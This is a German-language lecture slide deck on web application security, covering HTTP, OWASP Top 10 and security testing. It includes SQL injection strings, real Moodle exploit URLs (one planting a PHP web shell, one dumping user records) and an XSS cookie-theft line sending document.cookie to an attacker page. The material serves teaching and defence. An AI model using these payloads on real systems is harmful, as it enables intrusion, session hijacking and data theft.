Sicherheit von Webapplikationen Sichere Web-Anwendungen Daniel Szameitat Agenda Agenda Ebenenmodell Einführung Einführung OWASP TOP 10 Risiken OWASP TOP 10 Risiken OWASP TOP 10 Metrik OWASP TOP 10 Metrik Sicherheitstests Sicherheitstests Anwendungsfälle Anwendungsfälle 2 Agenda Einführungl Ebenenmodell Einführung OWASP TOP 10 Risiken Einführung Web Technologien HTTP(Hypertext Transfer Protocol): • zustandsloses Protokoll über TCP auf Port 80 • HTTPS Verschlüsselt den Datentransfer OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle Request: GET /infotext.html HTTP/1.1 Host: www.example.net Response: HTTP/1.1 200 OK Server: Apache/1.3.29 (Unix) PHP/4.3.4 Content-Length: 1024 Content-Language: de Connection: close Content-Type: text/html . . . 3 Agenda Einführungl Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle Einführung Web Technologien Caching: • Teile von Webseiten werden heruntergeladen und gespeichert Cookies: • Datei mit Kontext Informationen • Führen einen Zustand ein Session: • Serverseitige Sammlung von Variablen • Realisiert durch Cookies oder URL 4 Agenda Einführung Web Technologien Einführungl Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle 5 Ebenenmodell Agenda zur Sicherheitskonzeption sicherheitsrelevante Aspekte: Ebenenmodell Einführung Ebenenmodell SicherheitsEbene relevante Themen beteiligte Funktionen OWASP TOP 10 Risiken Semantik Täuschung & Betrug • Social Engineering-Angriffe • Phising [Plan] Logik Prozesse zweckentfremden • sicheres Passwörter • sicheres Rollenkonzept [Plan] Implementierung Schwachstellen nutzen • SQL-Injection • Cross-Site Scripting [Build] Technologie Schwachstellen nutzen • schwache Verschlüsselung • Bruteforce [Build] System Schwachstellen nutzen • keine Updates [Run] Netzwerk & Host Kommunikation • MitM [Run] OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle 6 OWASP TOP 10 Risiken Agenda Bewertung aufgrund verschiedener Kriterien Ebenenmodell Einführung Risiko OWASP TOP 10 Risiken Ebene Risiko Ebene Injektion Impl. Fehlkonfiguration System OWASP TOP 10 Metrik Cross-Site Scripting Impl. Kryptografisch unsichere Speicherung Techn. Sicherheitstests Authentifizierung und Session Management Logik, Techn. URL-Zugriffsschutz Impl. Unsichere direkte Objektreferenzen System, Techn. Absicherung Transportschicht Netz. Cross-Site Request Forgery Sem., Techn Weiterleitungen Impl, Techn. Anwendungsfälle 7 Agenda OWASP TOP 10 Metrik Bewertung aufgrund verschiedener Kriterien Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle 8 Agenda Sicherheitstests für Webapplikationen Ebenenmodell Einführung OWASP TOP 10 Risiken Sicherheitstests, • prüfen definierte Risiken. • sind niemals vollständig • sind meist Blackbox Tests • unterteilen sich eine passive und aktive Phase. OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle OWASP Unterscheide zwischen 9 Test Kategorien mit insgesamt 66 definierten Risiken. Kategorie Information Gathering: 1. Spiders, Roborts and Crawlers 2. Search Engine 3. Web Application Fingerprint 4. Analysis Error Codes 5. … 9 Agenda SQL-Injektion einfaches Beispiel: Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle userName = request.getParameter(„user“); password = request.getParameter(„pass“); Query = „SELECT * FROM User WHERE Name=´“ + userName + „‘ AND Pw=´“ + password + „‘“; • Problem: userName = john‘ -• neues Query: SELECT * FROM User WHERE Name=´john‘ -- ‚and password=‚‘ • Gleichwertige Eingaben: john‘ OR ´a‘ <> ´b 10 Agenda Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle Escaping Gegenmaßnahmen: • Escaping, Sonderzeichen werden gesondert behandelt. Beispiel: john‘ -neues Query: SELECT * FROM Usr WHERE Name=´john\‘ --´ and password=‚‘ Problem: 1. Bei Zahlen greift diese Methode nicht. • SELECT * FROM Usr WHERE ID=1; DELETE FROM Usr 2. Injizieren von Zeichenketten • char(83)+char(81)+char(76) • 0x53514C • \\‘ 11 Agenda Ebenenmodell Einführung OWASP TOP 10 Risiken Stored Procedures Gegenmaßnahmen: • Stored Procedures, das SQL Statement wird in der Datenbank vordefiniert. Beispiel: CREATE PROCEDURE insert_p @name Text, @age Int AS INSERT INTO person(name, age) Values(@name,@age) OWASP TOP 10 Metrik Query: insert_p `Name`, Alter Sicherheitstests Problem: Name = bar`, 1 DELETE FROM person -Anwendungsfälle neues Query: insert_p `bar`, 1 DELETE FROM person -- , 12 Agenda Ebenenmodell Einführung OWASP TOP 10 Risiken Prepared Statements Gegenmaßnahmen: • Prepared Statements Beispiel: john‘ -neues Query: SELECT * FROM Usr WHERE Name=‚john\‘ -- ‚ and password=‚‘ OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle Problem: Angriffe 2. Ordnung INSERT Favourites (UserID, FriendlyName, Criteria) VALUES(123, 'My Attack', '';DELETE Orders;--') SELECT * FROM Products WHERE Criteria='{0}‘ neues Query: SELECT * FROM Products WHERE ProductName = ''; DELETE Orders;-- 13 Agenda Ebenenmodell Einführung OWASP TOP 10 Risiken Beispiele Reale Beispiele: Moodle: http://[target]/[path]/course/category.php?id='%20UNION%20SELE CT%200,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO %20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_ course_categories/* OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1 &user='or%20isnull(1/0)/*# http://[target]/[path]/web/view_entry.php?id=2000%20UNION%20 SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_ user%20WHERE%20id=[ID]&day=27&month=10&year=2007 14 Agenda Cross-Site-Scripting • Einschleusen von bösartigem Programmcode. Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik einfaches Beispiel: • Gästebucheintrag: <script> for(q=0; q<10000; q++) window.open(„http://Spam.de“); </script> Sicherheitstests Anwendungsfälle • kritisch wird XSS in Zusammenhang mit Session-Hijacking! 15 Cross-Site-Scripting Agenda Beispiel: Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle 1. document.location.replace(„www.hack.php?a=“+document.cookie); 3. <? setcookie(„Hack", $_GET[„a"]) ; ?> 16 Agenda Cross-Site-Scripting Ebenenmodell Einführung OWASP TOP 10 Risiken OWASP TOP 10 Metrik Sicherheitstests Anwendungsfälle 17 Quellen • https://www.owasp.org/index.php/Category: OWASP_Top_Ten_Project • http://testobsessed.com/wpcontent/uploads/2011/04/testheuristicscheat sheetv1.pdf • https://www.owasp.org/index.php/OWASP_T esting_Project Vielen Dank für Ihre Aufmerksamkeit! Daniel Szameitat